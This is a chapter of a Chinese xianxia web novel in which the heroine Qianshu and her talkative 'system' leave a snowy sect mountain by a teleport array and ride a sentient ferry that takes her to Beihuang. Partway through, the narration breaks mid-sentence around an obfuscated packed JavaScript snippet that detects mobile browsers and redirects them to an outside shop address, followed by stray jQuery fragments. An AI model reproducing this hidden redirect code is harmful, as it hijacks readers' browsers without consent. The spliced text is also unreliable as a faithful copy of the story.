4. 下山
作品:《修仙延迟退休指南》 灵山终年冰雪,刺目的白色常常让人分不清方向。
因此下山的弟子通常选择乘坐灵舟,有能力且不愿受安排的则自己御器,几乎不会有徒步的情况。
「你真打算就这么走,这得到猴年马月才到得了青州。」
系统从千舒下山那刻便一刻不停在脑子里絮叨。
千舒脚上动作不停,微蹙起的眉显示了并不平静的内心,却还是耐着性子道:“你好吵,能闭嘴吗?”
「我这不是为你着想吗?」
「蓝锦和真不厚道,一点灵石都不给你塞啊,这一穷二白的我们怕不会被饿死吧。」
……
「要是四境都被端了,你还在走路怎么办?」
「你不会御器吗?怎么不飞啊?」
青州离灵境何止千里,这得走到猴年马月。
系统越想越愁,全然忘了千舒重生后的情况。
千舒嘴角往下瞥了个冰凉的弧度,不像是要说什么好话。
现在这个时间点,她不仅没有自己的本命灵器,修为也不足以支撑长距离飞行。
偏偏卡在骨基期!
万年前妖鬼之祸,传说四洲最后一位神苏醒一举扼杀妖鬼,最后力竭不歹,身死魂消,天边万里云霞,一场甘霖过后,四洲有的百姓惊奇发现有的四肢更强健灵活,有的感官变敏锐,更有少数人体内多了一股神奇的力量。
自此人人知晓修仙之道,人们可引气入体,修仙成道,此界人又以大陆间的海域为分界线,分封合众统称四境。
四洲灵气充盈,多修士,人们神奇地发现随着实力的增长灵力自足部往上,直至会顶即为圆满,故而修炼境界又有层次,由低至高分别有——聚气、骨基、垂势、冠玉、会顶。
就如人之六艺,各有所长,修仙之道亦有天赋之说,有些人穷尽一生修至聚气入门已是竭力,而有些人仍在襁褓,于睡梦中呼吸间都能吸纳灵气,不到及冠便能入门。
偏偏罪魁祸首还和自己性命相连。
随便了,毁灭吧。
灵器都没有,灵府也进不去。“飞你个大头鬼。”
千舒心情不好的时候,脾气也坏,毫不客气吐槽道。
感受着体内的灵气运行,她再次确认,自己仍然只有骨基初期修为,而御器飞行一般是到骨基后期才能掌握的技能。
千舒不用学,但即便靠着上一世的经验也需要骨基中期才能万无一失。
系统在心中哀嚎。
雪地上的脚印深深浅浅,她就这么一步一脚印下了山。
白雪皑皑的陆地突然出现了个小屋,与其说是本来就在这儿的,它更像是凭空出现。
直到见到这间屋子,千舒才稍稍放心。
好在自己不是全无准备。
只见她不慌不忙地停下脚步,拿出一张灵符,上面勾画了个奇怪的符号,黄纸朱砂一气呵成。
「传送符阵?」
「这玩意儿不是早被淘汰了吗,又慢又难用,整个四境也找不出第二个了吧。」
无甚感情的音调甚至能听出一丝嫌弃。
千舒垂眸扫了一眼屋内阵法线条,熟悉的痕迹被时间侵蚀得有些严重。
确实是比较老旧的交通方式了。
她淡淡开口:“你懂个屁。”
四字足以堵嘴。
千舒在屋内检查了一圈,在墙角摸索着涂涂抹抹、写写画画,原来的绿洲纹样摇身一变,成了一捧堆起的沙砾墨纹。
“啪”的一声将符纸按在上面。
没反应。
一秒——
两秒——
「不是我多嘴,这能用吗?还有你画的是什么啊?」系统弱弱道。
三秒——
一阵白光闪过,像是在云霄上颠了一圈似的。
再睁眼,仍是草屋,相似的凌乱线条。
「呃,果然失…败…」
千舒打开门,一抹阳光射进来,抬眼一看,哪还是刚才一望无垠的白雪山间。
就这么几十秒,千舒就从灵山脚到了隙海边。
只见她一派稀松平常的样子,出门自然地抖了抖身上的雪,甚至还伸了个懒腰。
很难看不出她动作间的熟练。
系统不懂。
系统震惊。
系统回味。
所以千舒不是想靠步行离开灵境,她早就有主意。
她甚至不舍得给它解释几句!白担心她了……
系统嘟囔着。
千舒,坏人!
好在它不计前嫌,系统快速安慰好自己:
「比灵舟还快,你怎么做到的。」
千舒勾起唇角。
系统觉得她弄错了重点。
「那我们为什么不直接传送到青州?」
……
只见千舒勾起的嘴角迅速抹平,她皮笑肉不笑道:“你猜我以前为什么出不去。”
系统:……好吧,又说错话了。
屋外不出十步便是隙海,连接四境的海域,埋葬着数以万计的妖鬼,瘴气滋生匿避之海。
四境之间互不交通,修者可越天而行,普通人若想横跨隙海,就只能靠隙海渡船通行。
这渡船却也不是每时每刻都停靠在岸边的,逢雨不出、暴晒不出、天上遮月避日也不出,也不是所有人都能登船,总之一句话——只渡有缘人。
「脾气真大。」
系统吐槽道。
千舒径直走过去,海面几乎成了墨色,水里似乎涌动着什么要破水而出。
“瘴气已经浓郁到可以看到实体的程度了吗。”千舒低语。
海面不似水下波涛汹涌,十分平静,有些过分安静了。
就这么过了一刻钟,仍不见渡船的影子。
千舒有些不耐,她的手指轻捻,似乎有些苦恼地开口:“哎,我也不想这样的。”
她素手一翻,温润的绿汇聚一团,逐渐凝实,成了个长条的多孔棍状物。
不是笛子又是什么。
这是千舒用得最顺手的武器形态。
「啊要做什么?」
不明情况的系统就这样看着千舒将那只碧绿漂亮的笛子用成了甩棍,甩一次便是一阵灵力旋风击打在海面,海水四溅,不断有黑色的气飘上天空。
「还能这样……」
如此混乱的场景下,一艘暗沉灰褐色的木船慢悠悠浮出来,船角的小旗讨好似的摇摆。
千舒像是才注意到渡船一样,讶异道:“什么风把您吹来了?我在这儿玩水呢,没打扰到您吧。”
渡船空有船身,并无摆渡人,船桨随风自动。
不知从船的哪个部位传出一阵呓语,不是四境白话,古朴深奥,人一听了却自动能解其意。
声如鲸鸣,它说:“怎么又是你。”
“回去吧……”
不等它说完,千舒抢答:“我这次可是得了允许的,不信自己去问蓝锦和。”
天知道它一艘船能不能爬上灵山之巅。
总之一句话,“我要登船!”
说着便不管不顾跳了上去。
渡船还试着劝阻,可就在千舒双脚落地那刻,它忽的一下安静了,接着是一阵剧烈摇晃。
千舒扬起眉,拍了拍船身:“几千岁的船了,幼不幼稚。”
就这么一拍,原本老土得掉渣,活像个破烂木渣的废旧渡船,竟由内自外透出碧蓝光泽,一晃神,湛蓝如新、低调奢华有内涵说的就是它了。
饶是千舒也头一回瞧这场面。
她记得之前看别人登船离开也没这节目啊。
海水般澄澈的声音悠悠响起,似乎也愣了好一会儿。
“怎么会……你……竟然已经到这种时候了。”
千舒:“说什么呢?”
“罢了,那就送你一程。”
净说些模棱两可的话,再问必是得不到答案的,千舒早已习惯,她顺着流程走,从善如流。
“嗯。”
“源钥秘境开启在即,完事小心。”
“嗯。”
「嗯?!」
嗯?
听错了吧。
源钥秘境明明在北荒嘛。
系统如此安慰自己。
「什么源钥秘境?我们要去的是青州啊!宿主你莫不是上错了船。」
千舒不说话,手指无意识在渡船上扣着。
许是意识到气氛不太对,渡船悠悠补了一句:
“此行终点为……四境东北——北荒。”声音有些犹疑,“你……”
千舒声淡如水,面色却并不轻松:“嗯,劳驾。”
看着一副尽在掌握的样子,奈何系统早已吵翻了天。
怎么会有如此吵闹的……东西?
她按按太阳穴,声音有些飘。
“咳……约莫是传送阵法有哪处磨损,把目的地弄错了。”
“事已至此,便将错就错吧,反正以后也会去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989061|193681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。”
「话是这么讲,可是……」
“可是什么?”
「宿主你是故意的吗?」系统幽幽出声,因为那个人在北荒,「我们明明说好的。」
千舒盘腿,将注意力转移到丹田,趁着渡江修炼了起来。
“你说什么啊?听不懂。”
她闭眼入定,勾起的嘴角沉下来,系统、苍生?……一切都得等她的事了结后再说,她得要个说法。
渡船真真神秘,按说一日的路程,不过五个时辰便靠了岸,瞧见北荒的标志黄沙,千舒扬眉,不留余地赶路像是就为了节约她时间一样。
这么好心?
千舒正思索着,没说话,系统却闲不住。
系统:「诶?海水好黑啊,感觉能直接看见底下的妖鬼,北荒没定期加固封印吗?」
千舒抽出一分注意看去,与灵境周围海域的澄澈不同,这边的隙海水从一北荒海域便汹涌万分,黑不见底,形成许多小小的蜷成一团的海涡,充满了危险的气息。
千舒皱眉,冷声道:“北山没有定期加固结界?”
不过几息,有声音传来,有些无奈的语气:“......圣女,我有名字的。”
灵府内系统的化身光团一闪一闪,它倒吸一口凉气,在心里小声嘀咕着:「疯了。」
千舒冷哼:“你又没说。”
“吾名唤渡厄,圣女你可记住了。”渡厄浑厚的声音竟是听出畅快的意思,连带着船身都在轻微摇动。
“起名的人倒是对你寄予厚望。”
渡厄轻快笑了一声,干脆地回答了千舒的问题:“北荒的结界嘛,以前是有的,不过大约五年前就没见过北山的人来修补过了。”
“谁知道是不是出了事,不过若是一境之主忙得连隙海结界都顾不上了,换个更强大的人来做境主的位子我也乐见其成。”
大逆不道的话一只船倒说得顺口,千舒压下跳动的眉心,装作什么都没听见。
她起身下船,道一句:“谢了”便要离开。
“圣女,能否央您一事?”
千舒脚步一顿。
幽蓝的船体已然变回原来那残破的模样。
“你说。”
“自我来到隙海,已有一万三千六百二十年。”
“讲重点。”
它长吁一口气,“渡人万年,身体难免破损,我一直在等你……”
一听就不是什么便宜好事。主线任务还没头绪,支线任务可不能乱接。
千舒满头乱线,怎么就“一直等她了”,以前去招惹过那么多次都不理她,还敢说等她?
纵使心里腹诽,她面上还是冷淡道:“你可以找旁人。”
“没有旁人,你是唯一人选。”
千舒:“理由。”
“……”
又是一个谜语人。
千舒的恶魔小人猛戳。
「不然,你还是帮帮忙吧……也不容易。」
系统小声蛐蛐。
“不到百年,若没有材料,四境将再无横渡隙海的渡船。”
道德绑架!
“你先说说需要什么。”她倒要看一条船要怎么跟她狮子大开口。
“没事,圣女只要量力而为,生死于我不过是命数。”
说罢,一连吐出好几个或熟悉或陌生的词语。
“灵山天然晶种、玄冰铁、秘银、蜃珠、至少五百年品质的鬼柳、万年桃木心。”
千舒:“……”
她转身就走。
零个人买得起。
她长得很像冤大头吗?
有病。
「怎么走了?不是答应了吗?」
玄冰铁、秘银、蜃珠……
把我卖了都买不起。
对不起,你还是去死吧。千舒默默想。
「你可以去秘境找呀,多去几个总能找到。」
千舒:“不要。”
「可它要死了。」
千舒凉凉道:“你这么关心一条船的死活干嘛?”
「……」
就这么沉默着沉默着,黄沙上留下了一条直直的路径,深浅相同,略带寒气,与北荒的炎热格格不入。
不知过了多久,前方有了人迹。
先映入眼帘的不是房子,而是……
「那是……一个人?」
千舒没有回答,只走近了。
确实是一个人。
死了没?

